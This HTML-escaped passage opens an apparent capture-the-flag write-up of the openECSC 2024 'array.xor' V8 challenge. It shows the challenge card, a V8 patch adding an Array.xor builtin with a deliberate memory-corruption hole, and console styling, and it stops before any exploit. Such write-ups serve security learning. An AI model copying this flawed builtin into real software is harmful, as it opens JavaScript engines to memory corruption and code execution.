class=&#34;challTag&#34; style=&#34;background:#dc3545&#34;&gt;418 points&lt;/span&gt;&#xD;&#xA;&#x9;&#x9;&lt;span class=&#34;challTag&#34; style=&#34;background:#ffc107;color:#000&#34;&gt;pwn&lt;/span&gt;&#xD;&#xA;&#x9;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;challSection challHr&#34;&gt;&#xD;&#xA;&#x9;&#x9;&lt;p&gt;In case you need to xor doubles...&lt;/p&gt;&#xD;&#xA;&#x9;&#x9;&lt;code style=&#34;color:#e83e8c&#34;&gt;nc arrayxor.challs.open.ecsc2024.it 38020&lt;/code&gt;&#xD;&#xA;&#x9;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;challSection challHr&#34;&gt;&#xD;&#xA;&#x9;&#x9;&lt;div class=&#34;challSubtitle&#34;&gt;Attachments&lt;/div&gt;&#xD;&#xA;&#x9;&#x9;&lt;details class=&#34;challFiles&#34;&gt;&lt;summary&gt;array.xor.zip&lt;/summary&gt;&#xD;&#xA;&#x9;&#x9;&#x9;&lt;ul&gt;&#xD;&#xA;&#x9;&#x9;&#x9;  &lt;li&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/src/dist/args.gn&#34; target=&#34;_blank&#34;&gt;dist/args.gn&lt;/a&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/attachments/array.xor.zip&#34; style=&#34;float: right&#34; target=&#34;_blank&#34;&gt;[download zip]&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#x9;&#x9;&#x9;  &lt;li&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/src/dist/d8&#34; target=&#34;_blank&#34;&gt;dist/d8&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#x9;&#x9;&#x9;  &lt;li&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/src/dist/snapshot_blob.bin&#34; target=&#34;_blank&#34;&gt;dist/snapshot_blob.bin&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#x9;&#x9;&#x9;  &lt;li&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/src/docker-compose.yml&#34; target=&#34;_blank&#34;&gt;docker-compose.yml&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#x9;&#x9;&#x9;  &lt;li&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/src/Dockerfile&#34; target=&#34;_blank&#34;&gt;Dockerfile&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#x9;&#x9;&#x9;  &lt;li&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/src/README.md&#34; target=&#34;_blank&#34;&gt;README.md&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#x9;&#x9;&#x9;  &lt;li&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/src/v8.patch&#34; target=&#34;_blank&#34;&gt;v8.patch&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#x9;&#x9;&#x9;  &lt;li&gt;&lt;a href=&#34;https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/src/wrapper.py&#34; target=&#34;_blank&#34;&gt;wrapper.py&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#x9;&#x9;&#x9;&lt;/ul&gt;&#xD;&#xA;&#x9;&#x9;&lt;/details&gt;&#xD;&#xA;&#x9;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;challSection&#34;&gt;&#xD;&#xA;&#x9;&#x9;&lt;div class=&#34;challSubtitle&#34;&gt;Solves&lt;/div&gt;&#xD;&#xA;&#x9;&#x9;&lt;table class=&#34;challScores&#34;&gt;&#xD;&#xA;&#x9;&#x9;  &lt;thead&gt;&#xD;&#xA;&#x9;&#x9;    &lt;tr&gt;&#xD;&#xA;&#x9;&#x9;      &lt;th&gt;#&lt;/th&gt;&#xD;&#xA;&#x9;&#x9;      &lt;th&gt;Time&lt;/th&gt;&#xD;&#xA;&#x9;&#x9;      &lt;th&gt;User&lt;/th&gt;&#xD;&#xA;&#x9;&#x9;    &lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;  &lt;/thead&gt;&#xD;&#xA;&#x9;&#x9;  &lt;tbody&gt;&#xD;&#xA;&#x9;&#x9;    &lt;tr&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;1&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;2024-05-15 18:02:34Z&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;rdj&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;    &lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;    &lt;tr&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;2&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;2024-05-15 18:26:26Z&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;Diff-fusion&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;    &lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;    &lt;tr&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;3&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;2024-05-16 04:25:57Z&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;crazyman&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;    &lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;    &lt;tr&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;4&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;2024-05-16 09:52:43Z&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;hlt&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;    &lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;    &lt;tr&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;5&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;2024-05-17 21:35:14Z&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;Popax21&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;    &lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;    &lt;tr&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;6&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;2024-05-19 20:43:27Z&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;      &lt;td&gt;rebane2001 &lt;span style=&#34;font-family:&#39;Comic Sans MS&#39;,cursive;opacity:0.2;user-select:none&#34;&gt;&amp;lt;- me :o&lt;/span&gt;&lt;/td&gt;&#xD;&#xA;&#x9;&#x9;    &lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;  &lt;/tbody&gt;&#xD;&#xA;&#x9;&#x9;&lt;/table&gt;&#xD;&#xA;&#x9;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;h2 id=&#34;part-1-finding-the-memory-corruption&#34;&gt;Part 1: Finding the memory corruption&lt;/h2&gt;&#xA;&lt;p&gt;The challenge consists of the V8 engine with some new functionality added through a patch:&lt;/p&gt;&#xA;&lt;div class=&#34;cppCode&#34;&gt;&lt;span class=&#34;mtk4&#34;&gt;/*&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk4&#34;&gt;  Array.xor()&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk4&#34;&gt;  let x = [0.1, 0.2, 0.3];&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk4&#34;&gt;  x.xor(5);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk4&#34;&gt;*/&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk15&#34;&gt;BUILTIN&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(ArrayXor) {&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  HandleScope &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;scope&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  Factory *factory = &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;isolate&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;factory&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;();&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  Handle&amp;lt;Object&amp;gt; receiver = &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;receiver&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;();&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk17&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; (!&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;IsJSArray&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(*receiver) || !&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;HasOnlySimpleReceiverElements&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;JSArray&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;cast&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(*receiver))) {&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;THROW_NEW_ERROR_RETURN_FAILURE&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewTypeError&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;MessageTemplate&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::kPlaceholderOnly,&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;factory&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewStringFromAsciiChecked&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk11&#34;&gt;&#34;Nope&#34;&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;)));&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  }&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  Handle&amp;lt;JSArray&amp;gt; array = &lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;Handle&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;JSArray&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;&amp;gt;::&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;cast&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(receiver);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  ElementsKind kind = &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;GetElementsKind&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;();&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk17&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; (kind != PACKED_DOUBLE_ELEMENTS) {&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;THROW_NEW_ERROR_RETURN_FAILURE&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewTypeError&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;MessageTemplate&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::kPlaceholderOnly,&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;factory&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewStringFromAsciiChecked&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk11&#34;&gt;&#34;Array.xor needs array of double numbers&#34;&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;)));&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  }&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk4&#34;&gt;  // Array.xor() needs exactly 1 argument&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk17&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; (&lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;length&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;() != &lt;/span&gt;&lt;span class=&#34;mtk6&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;) {&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;THROW_NEW_ERROR_RETURN_FAILURE&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewTypeError&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;MessageTemplate&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::kPlaceholderOnly,&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;factory&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;NewStringFromAsciiChecked&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk11&#34;&gt;&#34;Array.xor needs exactly one argument&#34;&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;)));&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  }&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk4&#34;&gt;  // Get array len&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;uint32_t&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; length = &lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;static_cast&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;uint32_t&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;Object&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;Number&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;length&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;()));&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk4&#34;&gt;  // Get xor value&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  Handle&amp;lt;Object&amp;gt; xor_val_obj;&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;ASSIGN_RETURN_FAILURE_ON_EXCEPTION&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, xor_val_obj, &lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;Object&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;ToNumber&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;at&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk6&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;)));&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;uint64_t&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; xor_val = &lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;static_cast&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;uint64_t&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;Object&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;Number&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(*xor_val_obj));&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk4&#34;&gt;  // Ah yes, xoring doubles..&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  Handle&amp;lt;FixedDoubleArray&amp;gt; &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;elements&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk16&#34;&gt;FixedDoubleArray&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;cast&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;elements&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;()), isolate);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;FOR_WITH_HANDLE_SCOPE&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate, &lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;uint32_t&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;, i = &lt;/span&gt;&lt;span class=&#34;mtk6&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;, i, i &amp;lt; length, i++, {&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;double&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; x = &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;elements&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;get_scalar&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(i);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;uint64_t&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; result = (*(&lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;uint64_t&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;*)&amp;amp;x) ^ xor_val;&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;mtk9&#34;&gt;elements&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;set&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(i, *(&lt;/span&gt;&lt;span class=&#34;mtk5&#34;&gt;double&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;*)&amp;amp;result);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  });&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;mtk17&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;ReadOnlyRoots&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;(isolate).&lt;/span&gt;&lt;span class=&#34;mtk15&#34;&gt;undefined_value&lt;/span&gt;&lt;span class=&#34;mtk1&#34;&gt;();&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;mtk1&#34;&gt;}&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The patch adds a new &lt;strong&gt;Array.xor()&lt;/strong&gt; prototype that can be used to xor all values within an array of doubles, let&amp;rsquo;s try it:&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;.jsConsole {&#xD;&#xA;&#x9;background: #282828;&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;width: calc(100% - 2px);&#xD;&#xA;&#x9;color: #E3E3E3;&#xD;&#xA;&#x9;font-family: Menlo, Consolas, &#34;Ubuntu Mono&#34;, monospace;&#xD;&#xA;&#x9;font-size: 12px;&#xD;&#xA;&#x9;border: 1px solid #5E5E5E;&#xD;&#xA;&#x9;cursor: default;&#xD;&#xA;}&#xD;&#xA;.jsConsole *::selection {&#xD;&#xA;&#x9;background: #004A77;&#xD;&#xA;}&#xD;&#xA;.jsConLine {&#xD;&#xA;&#x9;min-height: 14px;&#xD;&#xA;&#x9;margin: 3px;&#xD;&#xA;&#x9;padding: 1px;&#xD;&#xA;&#x9;width: calc(100% - 8px);&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;}&#xD;&#xA;.jsConTerm {&#xD;&#xA;&#x9;white-space: pre-wrap;&#xD;&#xA;&#x9;background: #000;&#xD;&#xA;&#x9;color: #FFF;&#xD;&#xA;&#x9;margin: 0;&#xD;&#xA;&#x9;padding: 4px;&#xD;&#xA;}&#xD;&#xA;.jsConTerm::selection, .jsConTerm *::selection {&#xD;&#xA;&#x9;color: #000;&#xD;&#xA;&#x9;background: #FFF;&#xD;&#xA;}&#xD;&#xA;.jsConCode {&#xD;&#xA;&#x9;min-height: 14px;&#xD;&#xA;&#x9;margin: 3px;&#xD;&#xA;&#x9;padding: 7px;&#xD;&#xA;&#x9;width: calc(100% - 20px);&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;white-space: pre-wrap;&#xD;&#xA;&#x9;cursor: initial;&#xD;&#xA;}&#xD;&#xA;.jsConLine:has(details) {&#xD;&#xA;&#x9;text-wrap: nowrap;&#xD;&#xA;}&#xD;&#xA;.jsConBorder {&#xD;&#xA;&#x9;background: #5E5E5E;&#xD;&#xA;&#x9;width: 100%;&#xD;&#xA;&#x9;height: 1px;&#xD;&#xA;}&#xD;&#xA;.jsConLine:hover {&#xD;&#xA;&#x9;background: #3D3D3D;&#xD;&#xA;}&#xD;&#xA;.jsConTerm:hover {&#xD;&#xA;&#x9;background: #111;&#xD;&#xA;}&#xD;&#xA;.jsConLine:has(.jsConErr):hover {&#xD;&#xA;&#x9;background: #E46962;&#xD;&#xA;}&#xD;&#xA;.jsConLine &gt; details {&#xD;&#xA;&#x9;padding-left: 4px;&#xD;&#xA;&#x9;display: inline-block;&#xD;&#xA;&#x9;text-wrap: wrap;&#xD;&#xA;&#x9;max-width: calc(100% - 4px - 18px);&#xD;&#xA;}&#xD;&#xA;.jsConLine &gt; details &gt; summary::marker {&#xD;&#xA;&#x9;line-height: 0;&#xD;&#xA;}&#xD;&#xA;.jsConVar {&#xD;&#xA;&#x9;color: #C7C7C7;&#xD;&#xA;}&#xD;&#xA;.jsConValIn {&#xD;&#xA;&#x9;color: #C4EED0;&#xD;&#xA;}&#xD;&#xA;.jsConValOut {&#xD;&#xA;&#x9;color: #9980FF;&#xD;&#xA;}&#xD;&#xA;.jsConProp {&#xD;&#xA;&#x9;color: #FACC15;&#xD;&#xA;}&#xD;&#xA;.jsConIdx {&#xD;&#xA;&#x9;color: #7CACF8;&#xD;&#xA;}&#xD;&#xA;.jsConB {&#xD;&#xA;&#x9;font-weight: bold;&#xD;&#xA;}&#xD;&#xA;.jsConNull {&#xD;&#xA;&#x9;color: #6F6F6F;&#xD;&#xA;}&#xD;&#xA;.jsConKw {&#xD;&#xA;&#x9;color: #BF67FF;&#xD;&#xA;}&#xD;&#xA;.jsConStr {&#xD;&#xA;&#x9;color: #FE8D59;&#xD;&#xA;}&#xD;&#xA;.jsConStrOut {&#xD;&#xA;&#x9;color: #5CD5FB;&#xD;&#xA;}&#xD;&#xA;.jsConV8 {&#xD;&#xA;&#x9;/* color: #9F0; */&#xD;&#xA;&#x9;color: #FFF;&#xD;&#xA;}&#xD;&#xA;.jsConIcon {&#xD;&#xA;&#x9;fill: #C7C7C7;&#xD;&#xA;&#x9;display: inline-block;&#xD;&#xA;&#x9;width: 16px;&#xD;&#xA;&#x9;height: 14px;&#xD;&#xA;&#x9;vertical-align: top;&#xD;&#xA;&#x9;padding-right: 2px;&#xD;&#xA;}&#xD;&#xA;.jsConErr {&#xD;&#xA;&#x9;background: #4E3534;&#xD;&#xA;&#x9;color: #F9DEDC;&#xD;&#xA;&#x9;padding: 4px;&#xD;&#xA;&#x9;border-radius: 4px;&#xD;&#xA;}&#xD;&#xA;.jsConErr &gt; .jsConIcon {&#xD;&#xA;&#x9;padding-right: 4px;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;@media (width &gt;= 430px) {&#xD;&#xA;&#x9;.under430 {&#xD;&#xA;&#x9;&#x9;display: none;&#xD;&#xA;&#x9;}&#xD;&#xA;}&#xD;&#xA;@media (width &lt; 430px) {&#xD;&#xA;&#x9;.over430 {&#xD;&#xA;&#x9;&#x9;display: none;&#xD;&#xA;&#x9;}&#xD;&#xA;}&#xD;&#xA;@media (width &lt; 640px) {&#xD;&#xA;&#x9;.over640 {&#xD;&#xA;&#x9;&#x9;display: none;&#xD;&#xA;&#x9;}&#xD;&#xA;}&#xD;&#xA;@media (width &gt;= 640px) {&#xD;&#xA;&#x9;.termCodeComm {&#xD;&#xA;&#x9;&#x9;float: right;&#xD;&#xA;&#x9;}&#xD;&#xA;}&#xD;&#xA;@media (width &lt; 800px) {&#xD;&#xA;&#x9;.over800 {&#xD;&#xA;&#x9;&#x9;display: none;&#xD;&#xA;&#x9;}&#xD;&#xA;}&#xD;&#xA;@media (height &lt; 960px) {&#xD;&#xA;&#x9;.over960h {&#xD;&#xA;&#x9;&#x9;display: none;&#xD;&#xA;&#x9;}&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;0.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0.2&lt;/span&gt;, &lt;span 